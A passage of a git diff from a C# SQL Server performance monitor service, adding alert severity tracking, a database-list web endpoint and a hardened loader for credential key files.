+        if (!known)
+        {
+            _stateSeverityRank[rankKey] = severityRank;
+        }
+        else if (severityRank > _stateSeverityRank.GetValueOrDefault(rankKey))
+        {
+            /* A rise to a higher severity inside one occurrence is news: one alert at the new severity, a new entry
+               (its stamp and retry start over). A fall sends nothing, and the highest rank stays remembered until
+               recovery so a flap between the two bands sends one alert per rise only. */
+            _stateSeverityRank[rankKey] = severityRank;
+            _stateRetries.Clear(rankKey);
+            known = false;
+        }
+
+        return ConnectionAlertPolicy.Decide(
+            previousOnline: !known,
+            online: false,
+            alertWhenAlreadyDownAtFirstSight: false,
+            refireInterval: refireMinutes > 0 ? TimeSpan.FromMinutes(refireMinutes) : null,
+            lastDownAlertUtc: known ? last : null,
+            nowUtc: now,
+            retryDueUtc: _stateRetries.DueUtc(StateRetryKey(metric, grainKey), now));
+    }
+
+    /// <summary>The sentence a repeated state alert leads its detail with; empty for the entry.</summary>
+    private static string StateRepeatNote(ConnectionAlertDecision decision, int refireMinutes) =>
+        decision == ConnectionAlertDecision.Lost
+            ? string.Empty
+            : refireMinutes > 0
+                ? $"Still the case (re-alerting every {refireMinutes} min). "
+                : "Still the case (the previous alert reached no channel, so it is sent again). ";
+
+    /// <summary>#5493: the answer to a state alert's send (#4795); true when every channel failed.</summary>
+    private bool NoteStateSend(string metric, string grainKey, AlertDelivery? delivery) =>
+        NoteRetrySend(_stateRetries, StateRetryKey(metric, grainKey), metric, delivery);
+
+    /// <summary>#5493: the condition ended; the next occurrence is a new entry with its own alert.</summary>
+    private void EndStateAlert(
+        ConcurrentDictionary<string, DateTime> stamps, string key, string metric, string grainKey)
+    {
+        stamps.TryRemove(key, out _);
+        _stateRetries.Clear(StateRetryKey(metric, grainKey));
+        _stateSeverityRank.TryRemove(StateRetryKey(metric, grainKey), out _);
+    }
+
     /// <summary>The key an availability group alert is tracked under in <c>_agRetries</c>: the metric and the AG
     /// grain, so a failover and a disconnect on the same replica wait independently.</summary>
     private static string AgRetryKey(string metric, string grainKey) => metric + "|" + grainKey;
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs
index 722ed1903c..021e0d8651 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs
@@ -110,7 +110,7 @@ read above is positional and inserting a column mid-list shifts five other field
        Comments inside these probe strings stay to one short line each: the text is sent to the monitored
        server on every connect, so the reasoning belongs here rather than on the wire. */
     public const string DetectionQueryText = @"
-SELECT
+SELECT /* PerformanceMonitorLite */
     @@VERSION AS sql_version,
     CONVERT(integer, SERVERPROPERTY('ProductMajorVersion')) AS major_version,
     DATEDIFF(MINUTE, GETUTCDATE(), GETDATE()) AS utc_offset_minutes,
@@ -168,32 +168,10 @@ public static string ResolveConnectionString(MonitoredServer config, ILogger? lo
         {
             /* SQL auth (password) and service principal (client secret) both resolve their secret here from
                EncryptedPassword; managed identity and integrated resolve none. #3484. */
-            bool usedPlaintext;
-            if (OperatingSystem.IsWindows())
-            {
-                password = DarlingSecrets.ResolvePassword(config, out usedPlaintext);
-            }
-            else
-            {
-                /* Non-Windows: DPAPI (DarlingSecrets) is unavailable, so only the password slot applies —
-                   inlined here to keep the DPAPI call provably Windows-only for the platform analyzer.
-                   The slot takes the same env:/file: references as everywhere else (#1804), which is the
-                   supported non-Windows shape; a literal still works and still warns below. */
-                if (!string.IsNullOrWhiteSpace(config.EncryptedPassword))
-                {
-                    throw new PlatformNotSupportedException(
-                        "encryptedPassword requires Windows (DPAPI); use password with an env:/file: reference on other platforms.");
-                }
-
-                if (string.IsNullOrWhiteSpace(config.Password))
-                {
-                    throw new InvalidOperationException(
-                        $"Server '{config.DisplayName}' requires a secret (a SQL password or a service-principal client secret) but has neither encryptedPassword nor password.");
-                }
-
-                usedPlaintext = !DarlingSecretSource.IsReference(config.Password);
-                password = DarlingSecretSource.Resolve(config.Password, $"servers['{config.DisplayName}'].password");
-            }
+            /* #5366: one dispatch on every platform. A reference or a sealed value resolves anywhere; an old-format
+               DPAPI value opens only on Windows and says so on any other platform. The password slot takes the same
+               env:/file: references as everywhere else (#1804); a literal still works and still warns below. */
+            password = DarlingSecrets.ResolvePassword(config, out var usedPlaintext);
 
             if (usedPlaintext)
             {
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingServerDatabasesEndpoint.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingServerDatabasesEndpoint.cs
new file mode 100644
index 0000000000..8ed05760fe
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingServerDatabasesEndpoint.cs
@@ -0,0 +1,185 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #5245: <c>GET /api/server-databases?server=&lt;route key&gt;</c>, the list the web viewer's database picker offers:
+/// the user databases the store has collected for one server, answered as <c>{ "server": "...", "databases": [...], "truncated": false }</c>. The list stops at
+/// <see cref="MaxDatabases"/> names and <c>truncated</c> is true when the server has more.
+///
+/// <para><b>Why a route and not an MCP tool.</b> No agent needs the list, so a tool would only add bytes to
+/// <c>tools/list</c> and a Lite twin for nothing. The route runs <see cref="CollectedDatabases.NamesLimitedSql"/>, which is
+/// <see cref="CollectedDatabases.NamesSql"/> (the constant the desktop viewer's Excluded Databases picker runs) plus a
+/// row limit, so the two lists cannot drift. It is loaded when the
+/// picker opens, as the desktop does, and it is read-only: the sign-in gate and the seat's method gate in front of
+/// every route let a read-only seat make a GET, and the read runs on the viewer-role pool.</para>
+///
+/// <para><b>Names go out as data.</b> A database name is whatever the monitored server holds (a name may carry
+/// <c>&lt;</c>, <c>&amp;</c> or a quote), so the body is JSON written by <see cref="JsonSerializer"/> with its default
+/// encoder, which escapes <c>&lt; &gt; &amp; ' +</c> as <c>\uXXXX</c>, and it is sent as <c>application/json</c>.
+/// The page shows each name with <c>textContent</c>, never as markup.</para>
+///
+/// <para>The server is resolved the way every other server-scoped web read resolves it
+/// (<see cref="DarlingServerResolver.ResolveOrErrorAsync"/>), so an unknown name gets the same 400 refusal and a
+/// registry fault the same fixed 5xx body.</para>
+/// </summary>
+internal static class DarlingServerDatabasesEndpoint
+{
+    /// <summary>The route the picker calls.</summary>
+    internal const string Route = "/api/server-databases";
+
+    /// <summary>Maps <see cref="Route"/>. Called once from <see cref="DarlingWebEndpoints.MapAll"/>.</summary>
+    internal static void Map(WebApplication app, NpgsqlDataSource postgres, ILogger logger) =>
+        Map(app, postgres, logger, MaxDatabases);
+
+    /// <summary>
+    /// <see cref="Map(WebApplication, NpgsqlDataSource, ILogger)"/> with the row cap as an argument. The production call
+    /// passes <see cref="MaxDatabases"/>; a test passes a small cap, so the route's row counts and its truncated flag are
+    /// asserted over a handful of rows and fail on their own, not only through the constant's value. #5314.
+    /// </summary>
+    internal static void Map(WebApplication app, NpgsqlDataSource postgres, ILogger logger, int cap)
+    {
+        app.MapGet(Route, async (HttpContext context) =>
+        {
+            var stopwatch = Stopwatch.StartNew();
+            if (!TryBindSearch(context.Request.Query, out var search, out var refusal))
+            {
+                return DarlingWebEndpoints.ToHttpResult(refusal!, Route, logger, stopwatch.ElapsedMilliseconds);
+            }
+
+            var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(
+                postgres, DarlingWebEndpoints.First(context, "server"), context.RequestAborted);
+            if (error is not null)
+            {
+                return DarlingWebEndpoints.ToHttpResult(error, Route, logger, stopwatch.ElapsedMilliseconds);
+            }
+
+            try
+            {
+                var (names, truncated) = await ReadAsync(postgres, resolved.ServerId, cap, context.RequestAborted, search);
+                return Results.Text(Render(resolved.ServerName, names, truncated), "application/json");
+            }
+            catch (OperationCanceledException) when (context.RequestAborted.IsCancellationRequested)
+            {
+                throw;
+            }
+            catch (Exception ex)
+            {
+                /* The real exception reaches the service log once; the body is the fixed message, never ex.Message. */
+                DarlingWebFailureLog.Report(logger, Route, stopwatch.ElapsedMilliseconds, ex);
+                return Results.Json(DarlingWebFailureLog.Body(ex), statusCode: DarlingWebFailureLog.StatusCode(ex));
+            }
+        });
+    }
+
+    /// <summary>
+    /// The most names one answer carries. A server can hold tens of thousands of databases, and each one is a checkbox
+    /// the picker builds every time it opens, so the list stops here and says so (<c>truncated</c>).
+    /// </summary>
+    internal const int MaxDatabases = 5000;
+
+    /// <summary>
+    /// The first <paramref name="cap"/> collected user databases of one server, ordered by name (the SQL's order), and
+    /// whether more exist. The query asks for one row past the cap: that extra row is the proof of "more", and it is not
+    /// returned.
+    /// </summary>
+    internal static async Task<(List<string> Names, bool Truncated)> ReadAsync(
+        NpgsqlDataSource postgres, int serverId, int cap, CancellationToken cancellationToken, string? search = null)
+    {
+        var names = new List<string>();
+        await using var command = postgres.CreateCommand(
+            search is null ? CollectedDatabases.NamesLimitedSql : CollectedDatabases.NamesSearchLimitedSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = cap + 1 });
+        if (search is not null)
+        {
+            /* ONE text parameter: the pattern is built from the search text with its wildcards escaped. */
+            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = CollectedDatabases.SearchPattern(search) });
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            names.Add(reader.GetString(0));
+        }
+
+        var truncated = names.Count > cap;
+        if (truncated)
+        {
+            names.RemoveRange(cap, names.Count - cap);
+        }
+
+        return (names, truncated);
+    }
+
+    /// <summary>The most characters a <c>search</c> value may hold: a database name's own cap
+    /// (<see cref="DarlingWebEndpoints.MaxDatabaseNameLength"/>), since no name is longer to contain it.</summary>
+    internal const int MaxSearchLength = DarlingWebEndpoints.MaxDatabaseNameLength;
+
+    private const string SearchKey = "search";
+
+    /// <summary>
+    /// PURE: the optional <c>search</c> value of a request. True with <paramref name="search"/> null when the key is
+    /// absent or blank (empty or whitespace-only reads as no search), and true with the text, untrimmed, when it is
+    /// usable. False with the <c>invalid</c> refusal envelope for a key sent more than once (the one-value rule,
+    /// <see cref="DarlingWebEndpoints.TrySingleQueryValue"/>), a value holding a NUL character, or a value over
+    /// <see cref="MaxSearchLength"/> characters. The sentence names the rule, never the value, so nothing a caller sent is
+    /// echoed. #5314.
+    /// </summary>
+    internal static bool TryBindSearch(IQueryCollection query, out string? search, out string? refusal)
+    {
+        search = null;
+        refusal = null;
+        if (!DarlingWebEndpoints.TrySingleQueryValue(query, SearchKey, out var value))
+        {
+            refusal = McpHelpers.Refusal(SearchKey, "search must be given once, or left out.");
+            return false;
+        }
+
+        if (string.IsNullOrWhiteSpace(value))
+        {
+            return true;
+        }
+
+        if (value.Contains('\0', StringComparison.Ordinal))
+        {
+            refusal = McpHelpers.Refusal(SearchKey, "search must not contain a NUL character.");
+            return false;
+        }
+
+        if (value.Length > MaxSearchLength)
+        {
+            refusal = McpHelpers.Refusal(SearchKey, $"search is longer than {MaxSearchLength} characters; give a shorter text.");
+            return false;
+        }
+
+        search = value;
+        return true;
+    }
+
+    /// <summary>The route's JSON body: <c>{"server": "...", "databases": [...], "truncated": false}</c>.</summary>
+    internal static string Render(string serverName, IReadOnlyList<string> names, bool truncated) =>
+        JsonSerializer.Serialize(new { server = serverName, databases = names, truncated });
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingServiceKeyFile.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingServiceKeyFile.cs
new file mode 100644
index 0000000000..5c6ad76be2
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingServiceKeyFile.cs
@@ -0,0 +1,522 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>One key file the service keeps beside its other credentials: its name on this platform, the most its bytes
+/// may run to on the Windows read, and how its text becomes the key.</summary>
+/// <typeparam name="TKey">The key as the caller holds it.</typeparam>
+/// <param name="FileName">The file's name in the credentials directory.</param>
+/// <param name="MaxBytes">The most the file may hold: a larger file is refused before it is read, and the read itself is
+/// bounded to it plus one byte.</param>
+/// <param name="Parse">Turns the file's text (base64, after the DPAPI layer is removed on Windows) into the key.</param>
+/// <param name="TakesDiscardRecord">Whether this key is the one the directory check discards when it finds the directory
+/// open (<see cref="ComposeCredentialDirectoryGuard.TakeDiscardedKey"/>), so its load takes that record.</param>
+/// <param name="CheckOwner">Whether, on Unix, the file must be owned by the user the service runs as and have one name only
+/// (#5366): for a key that cannot be generated again.</param>
+/// <param name="CheckDirectoryAccess">Whether, on Windows, an existing directory is refused for a first write when
+/// accounts beyond SYSTEM, Administrators and the service account can write to it or change what is in it (#5366).</param>
+/// <param name="UniqueTemporary">Whether the file is written through a temporary file with a name of its own each time
+/// (<see cref="DarlingServiceKeyFile.UniqueTemporaryInfix"/>), so two writers never share one (#5366).</param>
+internal sealed record ServiceKeyFileSpec<TKey>(
+    string FileName, int MaxBytes, ServiceKeyParser<TKey> Parse, bool TakesDiscardRecord = false,
+    bool CheckOwner = false, bool CheckDirectoryAccess = false, bool UniqueTemporary = false)
+    where TKey : class;
+
+/// <summary>Turns a key file's text into the key, or says why it cannot.</summary>
+internal delegate ServiceKeyParse<TKey> ServiceKeyParser<TKey>(string encoded)
+    where TKey : class;
+
+/// <summary>What a <see cref="ServiceKeyParser{TKey}"/> found: the key, or the reason there is none.</summary>
+internal readonly record struct ServiceKeyParse<TKey>(TKey? Key, string? Problem)
+    where TKey : class;
+
+/// <summary>A new key and the bytes written for it. <see cref="Material"/> is zeroed by the loader once it is
+/// written.</summary>
+internal sealed record ServiceKeyGeneration<TKey>(TKey Key, byte[] Material)
+    where TKey : class;
+
+internal enum ServiceKeyFileState
+{
+    /// <summary>The file was trusted, read and parsed.</summary>
+    Loaded,
+
+    /// <summary>No file existed, so a new one was written.</summary>
+    Generated,
+
+    /// <summary>No file exists and none was written.</summary>
+    Absent,
+
+    /// <summary>A file exists and cannot be used; <see cref="ServiceKeyFileResult{TKey}.Reason"/> says why.</summary>
+    Refused,
+
+    /// <summary>The directory cannot be trusted, so nothing in it was read or written.</summary>
+    DirectoryRefused,
+}
+
+/// <summary>What <see cref="DarlingServiceKeyFile"/> found or did. A class-free record: its <see cref="Key"/> is the
+/// caller's type, which prints as its own <c>ToString</c> says.</summary>
+/// <param name="State">What happened.</param>
+/// <param name="Key">The key; null unless <see cref="ServiceKeyFileState.Loaded"/> or
+/// <see cref="ServiceKeyFileState.Generated"/>.</param>
+/// <param name="Path">The key file's path.</param>
+/// <param name="Reason">Why the file or directory cannot be used, written for the operator; null otherwise.</param>
+/// <param name="Exists">Whether any entry was at <see cref="Path"/> when this call looked.</param>
+/// <param name="Untrusted">True when the refusal is that the file or its directory failed the trust check (as opposed
+/// to unreadable or unparseable).</param>
+/// <param name="Discarded">The reason the directory check discarded the key at this path this start; see
+/// <see cref="ComposeCredentialDirectoryGuard.TakeDiscardedKey"/>.</param>
+internal sealed record ServiceKeyFileResult<TKey>(
+    ServiceKeyFileState State, TKey? Key, string Path, string? Reason, bool Exists, bool Untrusted, string? Discarded)
+    where TKey : class;
+
+/// <summary>
+/// The loader every key file the service keeps beside its other credentials goes through (#4004, #5366): the
+/// log-hash key (<see cref="DarlingLogHashKeyFile"/>) and the password key (<see cref="DarlingPasswordKeyFile"/>).
+/// Extracted from the log-hash key's own, which it behaves as it did.
+///
+/// <para>The directory is set owner-only again first (<see cref="DarlingManagedRoles.PrepareComposeCredentialDirectory"/>),
+/// then the file must be a regular file no one else can reach
+/// (<see cref="DarlingManagedRoles.UntrustedComposeCredentialReason"/>), and on Windows is held to an allowlist: no
+/// access for anyone beyond SYSTEM, Administrators and the service account, judged and read through one handle nobody
+/// can rename, replace or write while it is open (<see cref="DarlingFileSecurity.OpenForServiceOnlyRead"/>). A file
+/// that fails any of that is refused, never replaced.</para>
+///
+/// <para>A key is generated, when the caller supplies a generator, only for a path that holds nothing at all. It is
+/// written owner-only from the moment it exists (0600 at creation on Unix, the hardened ACL at creation on Windows),
+/// flushed to disk, then moved into place without overwrite, so a file that appeared meanwhile is never replaced. A
+/// reason names the path, never the key.</para>
+/// </summary>
+internal static class DarlingServiceKeyFile
+{
+    /// <summary>What follows the key file's name in a unique temporary file's name, before the random part (#5366).</summary>
+    internal const string UniqueTemporaryInfix = ".tmp-";
+
+    /// <summary>
+    /// Looks at <paramref name="spec"/>'s file in <paramref name="directory"/>. With <paramref name="generate"/> null
+    /// nothing is ever written (and a missing <paramref name="directory"/> is not created unless
+    /// <paramref name="createDirectory"/>); with one, a path that holds nothing gets a new key. Never throws for
+    /// anything the file system or the file can do; the result says what happened.
+    /// </summary>
+    internal static ServiceKeyFileResult<TKey> Load<TKey>(
+        string directory,
+        ServiceKeyFileSpec<TKey> spec,
+        Func<ServiceKeyGeneration<TKey>>? generate,
+        bool createDirectory,
+        ILogger logger)
+        where TKey : class
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentNullException.ThrowIfNull(spec);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        var path = Path.Combine(directory, spec.FileName);
+        try
+        {
+            var trust = DarlingManagedRoles.PrepareComposeCredentialDirectory(directory, createDirectory, logger);
+            var exists = AnythingAt(path);
+
+            /* Taken whichever way this load goes, so it describes this process's discard only once (#4004,
+               round 3): the check that removed the key may have been another caller's, earlier this start. */
+            var discarded = spec.TakesDiscardRecord ? ComposeCredentialDirectoryGuard.Current.TakeDiscardedKey(directory) : null;
+
+            if (trust.Distrust is { } distrust)
+            {
+                return RefuseDirectory<TKey>(path, directory, distrust, exists);
+            }
+
+            if (exists)
+            {
+                var untrusted = DarlingManagedRoles.UntrustedComposeCredentialReason(new FileInfo(path));
+                if (untrusted is not null)
+                {
+                    return Refuse<TKey>(path, untrusted, untrusted: true, discarded);
+                }
+
+                /* #5366: Unix only in effect: Windows has no Unix mode calls, so there is no owner to read there. */
+                if (spec.CheckOwner && UnexpectedOwnerReason(path) is { } owner)
+                {
+                    return Refuse<TKey>(path, owner, untrusted: true, discarded);
+                }
+
+                if (!OperatingSystem.IsWindows())
+                {
+                    return Read(path, spec, held: null, discarded);
+                }
+
+                /* #4028: the shared check above only refuses a file Users, Authenticated Users or Everyone can read.
+                   A key is read by the service alone, so on Windows it is held to an allowlist: an account beyond
+                   SYSTEM, Administrators and the service account that can read it has the key, and one that can write
+                   it or re-permission it can make that so (#4044). Judged and read through ONE handle that
+                   nobody can rename, replace or write while it is open, so the key read is the key judged, whoever
+                   controls the directory. */
+                using var held = DarlingFileSecurity.OpenForServiceOnlyRead(path, out var refusal);
+                return held is null
+                    ? Refuse<TKey>(path, refusal ?? "it could not be checked", untrusted: true, discarded)
+                    : Read(path, spec, held, discarded);
+            }
+
+            if (generate is null)
+            {
+                return new ServiceKeyFileResult<TKey>(ServiceKeyFileState.Absent, null, path, null, Exists: false, Untrusted: false, discarded);
+            }
+
+            return Write(path, generate, discarded, spec.UniqueTemporary, spec.CheckOwner, logger);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return Refuse<TKey>(path, $"it could not be checked ({ex.Message})", untrusted: false, discarded: null, exists: AnythingAtOrFalse(path));
+        }
+    }
+
+    /// <summary>
+    /// Writes a new key where nothing is, and refuses where anything is, the directory is not trusted, or the write
+    /// fails. Never overwrites and never reads what is there. Never throws.
+    /// </summary>
+    internal static ServiceKeyFileResult<TKey> Establish<TKey>(
+        string directory,
+        ServiceKeyFileSpec<TKey> spec,
+        Func<ServiceKeyGeneration<TKey>> generate,
+        ILogger logger)
+        where TKey : class
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentNullException.ThrowIfNull(spec);
+        ArgumentNullException.ThrowIfNull(generate);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        var path = Path.Combine(directory, spec.FileName);
+        try
+        {
+            var existed = Directory.Exists(directory);
+            var trust = DarlingManagedRoles.PrepareComposeCredentialDirectory(directory, create: true, logger);
+            var exists = AnythingAt(path);
+            var discarded = spec.TakesDiscardRecord ? ComposeCredentialDirectoryGuard.Current.TakeDiscardedKey(directory) : null;
+            if (trust.Distrust is { } distrust)
+            {
+                return RefuseDirectory<TKey>(path, directory, distrust, exists);
+            }
+
+            /* #5366: a directory that was there before this write is an operator's: an account that can write to it can
+               swap the temporary file for another between its close and the move, or rename the key away. The service
+               does not re-permission it; it says what to change. A directory the service just made was hardened as it
+               was made. */
+            if (spec.CheckDirectoryAccess && existed && OperatingSystem.IsWindows()
+                && ComposeCredentialDirectoryGuard.Current.UnixModes is null
+                && DarlingFileSecurity.WriteAccessBeyondTrusted(directory) is { } writers)
+            {
+                return RefuseDirectory<TKey>(
+                    path, directory, $"accounts beyond SYSTEM, Administrators and the service account can write to it or change what is in it: {writers}; remove their access and restart", exists);
+            }
+
+            if (exists)
+            {
+                return Refuse<TKey>(path, "a file is already there, and a key is never written over one", untrusted: false, discarded);
+            }
+
+            return Write(path, generate, discarded, spec.UniqueTemporary, spec.CheckOwner, logger);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return Refuse<TKey>(path, $"it could not be checked ({ex.Message})", untrusted: false, discarded: null, exists: AnythingAtOrFalse(path));
+        }
+    }
+
+    /// <summary>The reason the Unix file at <paramref name="path"/> is not the service's own (#5366): another user owns
+    /// it, or it has more than one name. Null when it is the service's, or when this platform cannot say.</summary>
+    internal static string? UnexpectedOwnerReason(string path)
+    {
+        if (ComposeCredentialDirectoryGuard.Current.UnixModes is not { } modes || modes.OwnerOf(path) is not { } owner)
+        {
+            return null;
+        }
+
+        if (owner.UserId != modes.EffectiveUserId)
+        {
+            return "it is owned by another user than the one the service runs as";
+        }
+
+        return owner.Links == 1
+            ? null
+            : $"it has {owner.Links.ToString(CultureInfo.InvariantCulture)} names, not one";
+    }
+
+    private static bool AnythingAtOrFalse(string path)
+    {
+        try
+        {
+            return AnythingAt(path);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or ArgumentException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>Whether ANY entry is at the path, a dangling symbolic link or a directory included: generating a key is
+    /// only for a path that holds nothing at all.</summary>
+    internal static bool AnythingAt(string path)
+    {
+        var info = new FileInfo(path);
+        return info.LinkTarget is not null || info.Exists || Directory.Exists(path);
+    }
+
+    private static string TooLarge<TKey>(ServiceKeyFileSpec<TKey> spec)
+        where TKey : class =>
+        $"it is larger than {spec.MaxBytes.ToString(CultureInfo.InvariantCulture)} bytes, which no key this service writes is";
+
+    /// <summary>Reads the key from <paramref name="held"/>, the stream <see cref="Load{TKey}"/> judged the file through,
+    /// or from the path when there is none (Unix, where mode and owner are the shared check's).</summary>
+    private static ServiceKeyFileResult<TKey> Read<TKey>(string path, ServiceKeyFileSpec<TKey> spec, FileStream? held, string? discarded)
+        where TKey : class
+    {
+        string text;
+        FileStream? opened = null;
+        byte[]? buffer = null;
+        try
+        {
+            /* One bounded read for both platforms (#5366): a file larger than MaxBytes is refused before any of it is
+               read, and what is read is never more than MaxBytes plus one byte, whatever the file grows to meanwhile. */
+            var stream = held ?? (opened = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read, bufferSize: 1));
+            if (stream.Length > spec.MaxBytes)
+            {
+                return Refuse<TKey>(path, TooLarge(spec), untrusted: false, discarded);
+            }
+
+            buffer = new byte[spec.MaxBytes + 1];
+            var length = 0;
+            int read;
+            while (length < buffer.Length && (read = stream.Read(buffer, length, buffer.Length - length)) > 0)
+            {
+                length += read;
+            }
+
+            if (length > spec.MaxBytes)
+            {
+                return Refuse<TKey>(path, TooLarge(spec), untrusted: false, discarded);
+            }
+
+            using var reader = new StreamReader(new MemoryStream(buffer, 0, length), Encoding.UTF8, detectEncodingFromByteOrderMarks: true);
+            text = reader.ReadToEnd().Trim();
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            return Refuse<TKey>(path, $"it could not be read ({ex.Message})", untrusted: false, discarded);
+        }
+        finally
+        {
+            if (buffer is not null)
+            {
+                CryptographicOperations.ZeroMemory(buffer);
+            }
+
+            opened?.Dispose();
+        }
+
+        string encoded;
+        if (OperatingSystem.IsWindows())
+        {
+            try
+            {
+                encoded = DarlingSecrets.Unprotect(text);
+            }
+            catch (Exception ex) when (ex is CryptographicException or FormatException or ArgumentException)
+            {
+                return Refuse<TKey>(path, $"it could not be DPAPI-decrypted on this machine ({ex.Message}); a key file is readable only on the machine that wrote it", untrusted: false, discarded);
+            }
+        }
+        else
+        {
+            encoded = text;
+        }
+
+        var parsed = spec.Parse(encoded.Trim());
+        return parsed.Key is null
+            ? Refuse<TKey>(path, parsed.Problem ?? "it does not hold a key", untrusted: false, discarded)
+            : new ServiceKeyFileResult<TKey>(ServiceKeyFileState.Loaded, parsed.Key, path, null, Exists: true, Untrusted: false, discarded);
+    }
+
+    /// <summary>
+    /// Writes a new key owner-only from the moment it exists, the way #3983 writes a compose role password: 0600 at
+    /// creation on Unix, the hardened ACL at creation on Windows (checked, then hardened once more if ordinary users can
+    /// still read it), flushed to disk (<see cref="DarlingManagedRoles.FlushToDisk"/>, so a power loss cannot leave a
+    /// zero-length key that every later start refuses), then moved into place WITHOUT overwrite, so a file that
+    /// appeared meanwhile is never replaced.
+    /// </summary>
+    private static ServiceKeyFileResult<TKey> Write<TKey>(
+        string path, Func<ServiceKeyGeneration<TKey>> generate, string? discarded, bool uniqueTemporary, bool checkOwner, ILogger logger)
+        where TKey : class
+    {
+        /* A unique temporary (#5366) is created with CreateNew and never deleted first, so a second writer cannot remove
+           the first's file and put its own in its place. The fixed name is the log-hash key's, as it was. */
+        if (uniqueTemporary)
+        {
+            RemoveLeftTemporaries(path, logger);
+        }
+
+        var temporary = uniqueTemporary
+            ? path + UniqueTemporaryInfix + Convert.ToHexString(RandomNumberGenerator.GetBytes(8))
+            : path + ".tmp";
+        if (!uniqueTemporary && ClearStaleTemporary(temporary) is { } stale)
+        {
+            return Refuse<TKey>(path, stale, untrusted: false, discarded);
+        }
+
+        ServiceKeyGeneration<TKey>? generation = null;
+        try
+        {
+            generation = generate();
+            var encoded = Convert.ToBase64String(generation.Material);
+            if (!uniqueTemporary)
+            {
+                File.Delete(temporary);
+            }
+
+            if (OperatingSystem.IsWindows())
+            {
+                using (var stream = DarlingFileSecurity.CreateHardenedFile(temporary, allowInteractiveRead: false))
+                using (var writer = new StreamWriter(stream))
+                {
+                    writer.Write(DarlingSecrets.Protect(encoded));
+                    DarlingManagedRoles.FlushToDisk(writer, stream);
+                }
+
+                /* The same allowlist a key is loaded under (#4028), so a key is never written that its next start
+                   would refuse. */
+                if (DarlingFileSecurity.AccessBeyondTrusted(temporary) is not null)
+                {
+                    DarlingFileSecurity.HardenFile(temporary, allowInteractiveRead: false);
+                    if (DarlingFileSecurity.AccessBeyondTrusted(temporary) is { } accounts)
+                    {
+                        throw new InvalidOperationException(
+                            $"accounts beyond SYSTEM, Administrators and the service account had access to it even after it was created owner-only and hardened again: {accounts}"
+                            + DarlingFileSecurity.DescribeOwnerAndExposure(temporary));
+                    }
+                }
+            }
+            else
+            {
+                using var stream = new FileStream(temporary, new FileStreamOptions
+                {
+                    Mode = FileMode.CreateNew,
+                    Access = FileAccess.Write,
+                    UnixCreateMode = DarlingManagedRoles.OwnerOnlyFile,
+                });
+                using var writer = new StreamWriter(stream);
+                writer.Write(encoded);
+                DarlingManagedRoles.FlushToDisk(writer, stream);
+            }
+
+            /* The file a start would load is checked the way that start checks it, before it is moved into place (#5366): a
+               directory that hands every new file to another user would otherwise take a key, have passwords sealed to it,
+               and refuse it on every later start. Nothing is published when it fails. */
+            if (checkOwner && UnexpectedOwnerReason(temporary) is { } owner)
+            {
+                throw new InvalidOperationException($"the new file was not kept, because {owner}");
+            }
+
+            File.Move(temporary, path, overwrite: false);
+            return new ServiceKeyFileResult<TKey>(ServiceKeyFileState.Generated, generation.Key, path, null, Exists: true, Untrusted: false, discarded);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            TryDelete(temporary, logger);
+            return Refuse<TKey>(path, $"there was no key, and a new one could not be written ({ex.Message})", untrusted: false, discarded);
+        }
+        finally
+        {
+            if (generation is not null)
+            {
+                CryptographicOperations.ZeroMemory(generation.Material);
+            }
+        }
+    }
+
+    /// <summary>
+    /// A directory where the new key's temporary file goes (#4004): File.Delete cannot remove it, so the write
+    /// failed on every start with a reason that named only the key ("it did not exist"). An empty one is removed, which
+    /// is safe (a non-recursive delete removes nothing inside, and a symbolic link is not a directory here); one with
+    /// anything in it is someone's tree, left alone, and named as the reason. Null when the path is clear.
+    /// </summary>
+    private static string? ClearStaleTemporary(string temporary)
+    {
